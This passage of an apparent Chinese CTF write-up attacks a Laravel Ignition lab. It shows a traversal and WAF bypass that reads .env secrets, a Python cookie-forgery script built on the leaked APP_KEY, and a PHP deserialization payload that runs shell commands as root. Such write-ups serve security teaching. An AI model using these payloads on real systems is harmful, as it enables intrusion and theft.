class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p>Ignition 确实可用。这正是 CVE-2021-3129（Laravel Ignition RCE）的入口结构。</p><hr><h2 id="二、路径遍历：双写绕过-filter-编码绕过"><a href="#二、路径遍历：双写绕过-filter-编码绕过" class="headerlink" title="二、路径遍历：双写绕过 + filter 编码绕过"></a>二、路径遍历：双写绕过 + filter 编码绕过</h2><h3 id="2-1-第一道-WAF：-过滤"><a href="#2-1-第一道-WAF：-过滤" class="headerlink" title="2.1 第一道 WAF：../ 过滤"></a>2.1 第一道 WAF：<code>../</code> 过滤</h3><p>直接往 <code>viewFile</code> 塞 <code>.env</code> 路径试试：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;solution&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;parameters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>    <span class="hljs-attr">&quot;viewFile&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;php://filter/convert.base64-encode/resource=.env&quot;</span><span class="hljs-punctuation">,</span><br>    <span class="hljs-attr">&quot;variableName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;username&quot;</span><br>  <span class="hljs-punctuation">&#125;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p>返回 <code>&#123;&quot;error&quot;:&quot;Unknown solution or not exploitable.&quot;&#125;</code>。换成 <code>../.env</code> 也一样。</p><p>但用 <code>index.php</code>（当前目录的文件）时，响应变成了：</p><figure class="highlight basic"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs basic"><span class="hljs-symbol">403 </span>&#123;<span class="hljs-string">&quot;error&quot;</span>:<span class="hljs-string">&quot;WAF Alert: Sensitive content detected in response! Action blocked.&quot;</span>&#125;<br></code></pre></td></tr></table></figure><p>从 404 变成了 403——说明文件<strong>能被读到</strong>，只是内容触发了 WAF。而 <code>.env</code> 在上级目录，<code>../</code> 被 WAF 过滤掉了所以 404。</p><p>靶场源码（后面读到的 <code>FileController.php</code>）证实了过滤逻辑：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 新增目录遍历过滤：将所有的 &quot;../&quot; 替换为空</span><br><span class="hljs-variable">$viewFile</span> = <span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">&#x27;../&#x27;</span>, <span class="hljs-string">&#x27;&#x27;</span>, <span class="hljs-variable">$viewFile</span>);<br></code></pre></td></tr></table></figure><p><code>str_replace</code> 是单次替换，不递归。所以 <code>....//</code> 替换一次后中间的 <code>../</code> 被删掉，剩下的 <code>..</code> 和 <code>//</code> 拼起来正好还是 <code>../</code>。这就是经典的双写绕过。</p><h3 id="2-2-第二道-WAF：响应内容检测"><a href="#2-2-第二道-WAF：响应内容检测" class="headerlink" title="2.2 第二道 WAF：响应内容检测"></a>2.2 第二道 WAF：响应内容检测</h3><p>用 <code>....//</code> 绕过路径遍历后，读 <code>.env</code> 明文会触发内容检测：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$sensitiveKeywords</span> = [<br>    <span class="hljs-string">&#x27;APP_KEY&#x27;</span>, <span class="hljs-string">&#x27;FLAG=&#x27;</span>, <span class="hljs-string">&#x27;flag&#123;&#x27;</span>, <span class="hljs-string">&#x27;DB_PASSWORD&#x27;</span>,<br>    <span class="hljs-string">&#x27;DB_USERNAME&#x27;</span>, <span class="hljs-string">&#x27;root&#x27;</span>, <span class="hljs-string">&#x27;MAIL_PASSWORD&#x27;</span>,<br>    <span class="hljs-string">&#x27;Illuminate\\Foundation&#x27;</span>, <span class="hljs-string">&#x27;PDOException&#x27;</span>, <span class="hljs-string">&#x27;&lt;?php&#x27;</span>,<br>    <span class="hljs-comment">// ...</span><br>];<br><br><span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$sensitiveKeywords</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$keyword</span>) &#123;<br>    <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">stripos</span>(<span class="hljs-variable">$content</span>, <span class="hljs-variable">$keyword</span>) !== <span class="hljs-literal">false</span>) &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-title function_ invoke__">response</span>()-&gt;<span class="hljs-title function_ invoke__">json</span>([<br>            <span class="hljs-string">&#x27;error&#x27;</span> =&gt; <span class="hljs-string">&#x27;WAF Alert: Sensitive content detected in response!&#x27;</span><br>        ], <span class="hljs-number">403</span>);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p>WAF 在<strong>响应内容</strong>里搜关键词。绕过方式很直接——用 <code>php://filter/convert.base64-encode/resource=</code> 把文件内容编码成 base64，WAF 就匹配不到明文关键词了。</p><h3 id="2-3-两道-WAF-一起绕"><a href="#2-3-两道-WAF-一起绕" class="headerlink" title="2.3 两道 WAF 一起绕"></a>2.3 两道 WAF 一起绕</h3><p>组合双写 + filter：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk">viewFile = php:<span class="hljs-regexp">//</span>filter<span class="hljs-regexp">/convert.base64-encode/</span>resource=....<span class="hljs-regexp">//</span>.env<br></code></pre></td></tr></table></figure><ul><li><code>....//</code> 经过 <code>str_replace(&#39;../&#39;, &#39;&#39;, ...)</code> 后变成 <code>../</code>，路径遍历恢复</li><li><code>php://filter/...base64...</code> 把文件内容 base64 编码，WAF 内容检测绕过</li></ul><p>响应 200，返回了一大段 base64。解码后就是完整的 <code>.env</code>：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs routeros"><span class="hljs-attribute">APP_NAME</span>=Laravel<br><span class="hljs-attribute">APP_ENV</span>=local<br><span class="hljs-attribute">APP_KEY</span>=base64:Nxxpbkj/QV1f+5uICIZjdf4rG93Dq7gVQbHNOulFxxQ=<br><span class="hljs-attribute">APP_DEBUG</span>=<span class="hljs-literal">true</span><br><span class="hljs-attribute">APP_URL</span>=http://localhost<br><span class="hljs-built_in">..</span>.<br><span class="hljs-attribute">DB_CONNECTION</span>=mysql<br><span class="hljs-attribute">DB_HOST</span>=127.0.0.1<br><span class="hljs-attribute">DB_PORT</span>=3306<br><span class="hljs-attribute">DB_DATABASE</span>=laravel<br><span class="hljs-attribute">DB_USERNAME</span>=root<br>DB_PASSWORD=<br></code></pre></td></tr></table></figure><hr><h2 id="三、源码审计：摸清完整攻击面"><a href="#三、源码审计：摸清完整攻击面" class="headerlink" title="三、源码审计：摸清完整攻击面"></a>三、源码审计：摸清完整攻击面</h2><p>拿到文件读取能力后，继续读源码搞清后续利用链。</p><h3 id="3-1-FileController-php"><a href="#3-1-FileController-php" class="headerlink" title="3.1 FileController.php"></a>3.1 FileController.php</h3><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk">viewFile = php:<span class="hljs-regexp">//</span>filter<span class="hljs-regexp">/convert.base64-encode/</span>resource=....<span class="hljs-regexp">//</span>app<span class="hljs-regexp">/Http/</span>Controllers/FileController.php<br></code></pre></td></tr></table></figure><p>解码后看到完整的 WAF 逻辑和<strong>隐藏文件校验</strong>：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 检查如果读取的是隐藏的反序列化文件，必须校验管理员 Cookie</span><br><span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">strpos</span>(<span class="hljs-variable">$viewFile</span>, <span class="hljs-string">&#x27;8167e48f725d4335b6388bdf54b5bd8a.php&#x27;</span>) !== <span class="hljs-literal">false</span>) &#123;<br>    <span class="hljs-variable">$roleCookie</span> = <span class="hljs-variable">$request</span>-&gt;<span class="hljs-title function_ invoke__">cookie</span>(<span class="hljs-string">&#x27;laravel_session&#x27;</span>);<br>    <span class="hljs-keyword">if</span> (!<span class="hljs-variable">$roleCookie</span> || <span class="hljs-variable">$roleCookie</span> !== <span class="hljs-string">&#x27;admin260117&#x27;</span>) &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-title function_ invoke__">response</span>()-&gt;<span class="hljs-title function_ invoke__">json</span>([<span class="hljs-string">&#x27;error&#x27;</span> =&gt; <span class="hljs-string">&#x27;无权限访问&#x27;</span>], <span class="hljs-number">403</span>);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p>读 <code>8167e48f725d4335b6388bdf54b5bd8a.php</code> 需要一个 <code>laravel_session</code> Cookie，明文值必须是 <code>admin260117</code>。但 <code>laravel_session</code> 会被 Laravel 的 <code>EncryptCookies</code> 中间件解密——不能直接发明文，得用 APP_KEY 加密伪造。</p><h3 id="3-2-EncryptCookies-与加密格式"><a href="#3-2-EncryptCookies-与加密格式" class="headerlink" title="3.2 EncryptCookies 与加密格式"></a>3.2 EncryptCookies 与加密格式</h3><p>读了 <code>vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php</code> 和 <code>Encrypter.php</code>，确认：</p><ul><li>加密算法：AES-256-CBC（APP_KEY base64 解码后 32 字节）</li><li>Cookie 值格式：<code>base64(json(&#123;iv, value, mac, tag&#125;))</code><ul><li><code>iv</code>：随机 16 字节，base64 编码</li><li><code>value</code>：AES-256-CBC 加密后密文的 base64</li><li><code>mac</code>：<code>hash_hmac(&#39;sha256&#39;, iv_b64 + value_b64, key)</code></li><li><code>tag</code>：空字符串（非 AEAD 模式）</li></ul></li><li>写 Cookie 时会加 <code>CookieValuePrefix</code>：<code>hash_hmac(&#39;sha1&#39;, cookieName + &#39;v2&#39;, key) + &#39;|&#39;</code></li><li>加密前明文 &#x3D; <code>prefix + 实际值</code></li><li><code>$serialize</code> 默认 <code>false</code>——Cookie 解密后<strong>不会</strong> unserialize</li></ul><p>这意味着：要伪造 <code>laravel_session</code>，需要：</p><ol><li>用 APP_KEY 算出 <code>laravel_session</code> 的 CookieValuePrefix</li><li>明文 &#x3D; <code>prefix + &quot;admin260117&quot;</code></li><li>AES-256-CBC 加密，算 MAC，打包成 JSON，base64 编码</li></ol><h3 id="3-3-routes-web-php"><a href="#3-3-routes-web-php" class="headerlink" title="3.3 routes&#x2F;web.php"></a>3.3 routes&#x2F;web.php</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// CTF 漏洞路由</span><br><span class="hljs-title class_">Route</span>::<span class="hljs-title function_ invoke__">post</span>(<span class="hljs-string">&#x27;/_ignition/execute-solution&#x27;</span>, [<span class="hljs-title class_">FileController</span>::<span class="hljs-variable language_">class</span>, <span class="hljs-string">&#x27;executeSolution&#x27;</span>])<br>    -&gt;<span class="hljs-title function_ invoke__">withoutMiddleware</span>([<br>        <span class="hljs-title class_">\Illuminate\Session\Middleware\StartSession</span>::<span class="hljs-variable language_">class</span>,<br>        <span class="hljs-title class_">\Illuminate\View\Middleware\ShareErrorsFromSession</span>::<span class="hljs-variable language_">class</span>,<br>        <span class="hljs-title class_">\App\Http\Middleware\VerifyCsrfToken</span>::<span class="hljs-variable language_">class</span>,<br>    ]);<br></code></pre></td></tr></table></figure><p>这个路由显式禁用了 CSRF 和 Session 中间件，所以 POST 不需要 CSRF token。</p><hr><h2 id="四、Cookie-伪造提权"><a href="#四、Cookie-伪造提权" class="headerlink" title="四、Cookie 伪造提权"></a>四、Cookie 伪造提权</h2><p>用 Python + pycryptodome 构造伪造 Cookie：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64, json, hmac, hashlib, os<br><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES<br><br>app_key = base64.b64decode(<span class="hljs-string">&quot;Nxxpbkj/QV1f+5uICIZjdf4rG93Dq7gVQbHNOulFxxQ=&quot;</span>)<br><span class="hljs-comment"># 32 bytes -&gt; AES-256-CBC</span><br><br><span class="hljs-comment"># Step 1: CookieValuePrefix</span><br>prefix = hmac.new(app_key, <span class="hljs-string">b&quot;laravel_sessionv2&quot;</span>, hashlib.sha1).hexdigest() + <span class="hljs-string">&quot;|&quot;</span><br><span class="hljs-comment"># 1ac69f4b7a0b43fca1014b4013e7667f6750474a|</span><br><br><span class="hljs-comment"># Step 2: plaintext = prefix + &quot;admin260117&quot;</span><br>plaintext = prefix + <span class="hljs-string">&quot;admin260117&quot;</span><br><br><span class="hljs-comment"># Step 3: AES-256-CBC encrypt with PKCS7 padding</span><br>iv = os.urandom(<span class="hljs-number">16</span>)<br>pad_len = <span class="hljs-number">16</span> - (<span class="hljs-built_in">len</span>(plaintext) % <span class="hljs-number">16</span>)<br>padded = plaintext.encode() + <span class="hljs-built_in">bytes</span>([pad_len] * pad_len)<br>cipher = AES.new(app_key, AES.MODE_CBC, iv)<br>ciphertext = cipher.encrypt(padded)<br><br>value_b64 = base64.b64encode(ciphertext).decode()<br>iv_b64 = base64.b64encode(iv).decode()<br><br><span class="hljs-comment"># Step 4: MAC = hash_hmac(&#x27;sha256&#x27;, iv_b64 + value_b64, key)</span><br>mac = hmac.new(app_key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()<br><br><span class="hljs-comment"># Step 5: Package</span><br>payload = &#123;<span class="hljs-string">&quot;iv&quot;</span>: iv_b64, <span class="hljs-string">&quot;value&quot;</span>: value_b64, <span class="hljs-string">&quot;mac&quot;</span>: mac, <span class="hljs-string">&quot;tag&quot;</span>: <span class="hljs-string">&quot;&quot;</span>&#125;<br>cookie_value = base64.b64encode(<br>    json.dumps(payload, separators=(<span class="hljs-string">&quot;,&quot;</span>, <span class="hljs-string">&quot;:&quot;</span>)).encode()<br>).decode()<br></code></pre></td></tr></table></figure><p>拿到伪造的 <code>laravel_session</code> Cookie 值后，带上它读隐藏文件：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs awk">viewFile = php:<span class="hljs-regexp">//</span>filter<span class="hljs-regexp">/convert.base64-encode/</span>resource=<span class="hljs-number">8167</span>e48f725d4335b6388bdf54b5bd8a.php<br>Cookie: laravel_session=eyJpdiI6InFpUEVQcldMd1NNeitnQzhkMFk5V0E9PSIs...<br></code></pre></td></tr></table></figure><p>200 返回了 base64 编码的文件内容，解码后看到完整的 POP 链类定义和反序列化入口。</p><hr><h2 id="五、POP-链反序列化"><a href="#五、POP-链反序列化" class="headerlink" title="五、POP 链反序列化"></a>五、POP 链反序列化</h2><h3 id="5-1-隐藏文件暴露的-POP-链"><a href="#5-1-隐藏文件暴露的-POP-链" class="headerlink" title="5.1 隐藏文件暴露的 POP 链"></a>5.1 隐藏文件暴露的 POP 链</h3><p><code>8167e48f725d4335b6388bdf54b5bd8a.php</code> 的内容：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">namespace</span> <span class="hljs-title class_">App</span>\<span class="hljs-title class_">Hidden</span>;<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$profile</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;profile) &#123; <span class="hljs-variable language_">$this</span>-&gt;profile-&gt;<span class="hljs-title function_ invoke__">show</span>(); &#125;<br>    &#125;<br>&#125;<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Profile</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$db</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__call</span>(<span class="hljs-params"><span class="hljs-variable">$name</span>, <span class="hljs-variable">$arguments</span></span>) </span>&#123;<br>        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;db) &#123; <span class="hljs-variable">$func</span> = <span class="hljs-variable language_">$this</span>-&gt;db; <span class="hljs-variable">$func</span>(); &#125;<br>    &#125;<br>&#125;<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Database</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$host</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__invoke</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;host) &#123; <span class="hljs-keyword">echo</span> <span class="hljs-variable language_">$this</span>-&gt;host; &#125;<br>    &#125;<br>&#125;<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Command</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$cmd</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;cmd) &#123; <span class="hljs-title function_ invoke__">exec</span>(<span class="hljs-variable">$this</span>-&gt;cmd); &#125;<br>        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;Command Executed&quot;</span>;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p>反序列化入口在同一个文件里：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 验证 Cookie 解密后 == &quot;admin260117&quot; ...</span><br><span class="hljs-variable">$payload</span> = <span class="hljs-variable">$_POST</span>[<span class="hljs-string">&#x27;payload&#x27;</span>] ?? <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-string">&#x27;php://input&#x27;</span>);<br>@<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-title function_ invoke__">base64_decode</span>(<span class="hljs-variable">$payload</span>));<br><span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;Deserialization triggered.&quot;</span>;<br></code></pre></td></tr></table></figure><h3 id="5-2-POP-链调用路径"><a href="#5-2-POP-链调用路径" class="headerlink" title="5.2 POP 链调用路径"></a>5.2 POP 链调用路径</h3><figure class="highlight clean"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs clean">User::__destruct()<br>    -&gt; $this-&gt;profile-&gt;show()<br>        -&gt; Profile::__call(<span class="hljs-string">&#x27;show&#x27;</span>, [])   <span class="hljs-comment">// show() 不存在，触发 __call</span><br>            -&gt; $func = $this-&gt;db; $func()<br>                -&gt; Database::__invoke()   <span class="hljs-comment">// db 是对象，当函数调用触发 __invoke</span><br>                    -&gt; echo $this-&gt;host<br>                        -&gt; Command::__toString()  <span class="hljs-comment">// host 是对象，echo 触发 __toString</span><br>                            -&gt; exec($this-&gt;cmd)   <span class="hljs-comment">// 最终 RCE</span><br></code></pre></td></tr></table></figure><h3 id="5-3-构造-payload"><a href="#5-3-构造-payload" class="headerlink" title="5.3 构造 payload"></a>5.3 构造 payload</h3><p>本地有 PHP，直接用 <code>serialize()</code> 生成最准确：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">namespace</span> <span class="hljs-title class_">App</span>\<span class="hljs-title class_">Hidden</span>;<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123; <span class="hljs-keyword">public</span> <span class="hljs-variable">$profile</span>; <span class="hljs-comment">/* ... */</span> &#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Profile</span> </span>&#123; <span class="hljs-keyword">public</span> <span class="hljs-variable">$db</span>; <span class="hljs-comment">/* ... */</span> &#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Database</span> </span>&#123; <span class="hljs-keyword">public</span> <span class="hljs-variable">$host</span>; <span class="hljs-comment">/* ... */</span> &#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Command</span> </span>&#123; <span class="hljs-keyword">public</span> <span class="hljs-variable">$cmd</span>; <span class="hljs-comment">/* ... */</span> &#125;<br><br><span class="hljs-variable">$cmd</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Command</span>();<br><span class="hljs-variable">$cmd</span>-&gt;cmd = <span class="hljs-string">&quot;sh -c &#x27;cat /tmp/aaa123/flag.txt &gt; rce_flag_final.txt&#x27;&quot;</span>;<br><br><span class="hljs-variable">$db</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Database</span>(); <span class="hljs-variable">$db</span>-&gt;host = <span class="hljs-variable">$cmd</span>;<br><span class="hljs-variable">$profile</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Profile</span>(); <span class="hljs-variable">$profile</span>-&gt;db = <span class="hljs-variable">$db</span>;<br><span class="hljs-variable">$user</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>(); <span class="hljs-variable">$user</span>-&gt;profile = <span class="hljs-variable">$profile</span>;<br><br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$user</span>));<br></code></pre></td></tr></table></figure><p>序列化结果：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">O</span>:<span class="hljs-number">15</span>:<span class="hljs-string">&quot;App\Hidden\User&quot;</span>:<span class="hljs-number">1</span>:&#123;s:<span class="hljs-number">7</span>:<span class="hljs-string">&quot;profile&quot;</span>;O:<span class="hljs-number">18</span>:<span class="hljs-string">&quot;App\Hidden\Profile&quot;</span>:<span class="hljs-number">1</span>:&#123;s:<span class="hljs-number">2</span>:<span class="hljs-string">&quot;db&quot;</span>;O:<span class="hljs-number">19</span>:<span class="hljs-string">&quot;App\Hidden\Database&quot;</span>:<span class="hljs-number">1</span>:&#123;s:<span class="hljs-number">4</span>:<span class="hljs-string">&quot;host&quot;</span>;O:<span class="hljs-number">18</span>:<span class="hljs-string">&quot;App\Hidden\Command&quot;</span>:<span class="hljs-number">1</span>:&#123;s:<span class="hljs-number">3</span>:<span class="hljs-string">&quot;cmd&quot;</span>;s:<span class="hljs-number">53</span>:<span class="hljs-string">&quot;sh -c &#x27;cat /tmp/aaa123/flag.txt &gt; rce_flag_final.txt&#x27;&quot;</span>;&#125;&#125;&#125;&#125;<br></code></pre></td></tr></table></figure><p>注意类名长度——<code>App\Hidden\Profile</code> 是 18 不是 19（<code>\</code> 算一个字符），<code>App\Hidden\Database</code> 是 19，<code>App\Hidden\Command</code> 是 18。手动数容易错，用 PHP 的 <code>serialize()</code> 最稳妥。</p><h3 id="5-4-触发反序列化"><a href="#5-4-触发反序列化" class="headerlink" title="5.4 触发反序列化"></a>5.4 触发反序列化</h3><p>直接 POST 到隐藏文件（不是通过 Ignition 端点，而是让它作为 PHP 执行），带伪造 Cookie 和 payload：</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs nix">POST <span class="hljs-symbol">/8167e48f725d4335b6388bdf54b5bd8a.php</span><br><span class="hljs-params">Cookie:</span> laravel_session<span class="hljs-operator">=</span>（伪造的加密 Cookie）<br><span class="hljs-params">Content-Type:</span> application<span class="hljs-symbol">/x-www-form-urlencoded</span><br><br><span class="hljs-attr">payload</span><span class="hljs-operator">=</span>（base64 编码的序列化对象）<br></code></pre></td></tr></table></figure><p>响应：<code>Command ExecutedDeserialization triggered.</code> —— 反序列化成功，<code>__destruct</code> 被触发，<code>exec()</code> 执行了。</p><hr><h2 id="六、获取-Flag"><a href="#六、获取-Flag" class="headerlink" title="六、获取 Flag"></a>六、获取 Flag</h2><h3 id="6-1-踩坑：exec-不走-shell"><a href="#6-1-踩坑：exec-不走-shell" class="headerlink" title="6.1 踩坑：exec() 不走 shell"></a>6.1 踩坑：exec() 不走 shell</h3><p>一开始用 Windows 风格的命令（<code>cmd /c echo ... &gt; file.txt</code>、<code>type</code>、<code>dir</code>），因为报错路径里的 <code>D:\path\resources\views</code> 让我以为后端是 Windows。结果：</p><ul><li>反序列化每次都返回 <code>Deserialization triggered</code></li><li>但落地的文件要么是 404（没创建），要么是 200 但内容为空</li></ul><p>根本原因：PHP 的 <code>exec()</code> 在 Linux 上<strong>不会启动 shell</strong>，它直接 <code>fork + execve</code>。所以 <code>&gt;</code> 重定向符号不会被解析——它只是作为参数传给了被调用的程序。必须用 <code>sh -c &#39;cmd &gt; file&#39;</code> 显式启 shell 来解析重定向。</p><h3 id="6-2-转向-Linux-命令"><a href="#6-2-转向-Linux-命令" class="headerlink" title="6.2 转向 Linux 命令"></a>6.2 转向 Linux 命令</h3><p>换成 <code>sh -c &#39;id &gt; rce_linux.txt&#39;</code> 后，文件立刻有内容了：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">uid</span>=<span class="hljs-number">0</span>(root) gid=<span class="hljs-number">0</span>(root) groups=<span class="hljs-number">0</span>(root),<span class="hljs-number">0</span>(root),<span class="hljs-number">1</span>(bin),<span class="hljs-number">2</span>(daemon),<span class="hljs-number">3</span>(sys),<span class="hljs-number">4</span>(adm),<span class="hljs-number">6</span>(disk),<span class="hljs-number">10</span>(wheel),<span class="hljs-number">11</span>(floppy),<span class="hljs-number">20</span>(dialout),<span class="hljs-number">26</span>(tape),<span class="hljs-number">27</span>(video)<br></code></pre></td></tr></table></figure><p>确认：<strong>Linux 容器，root 权限</strong>。<code>D:\path\...</code> 那条报错路径是靶场故意放的干扰信息。</p><h3 id="6-3-定位-Flag"><a href="#6-3-定位-Flag" class="headerlink" title="6.3 定位 Flag"></a>6.3 定位 Flag</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">find / -path 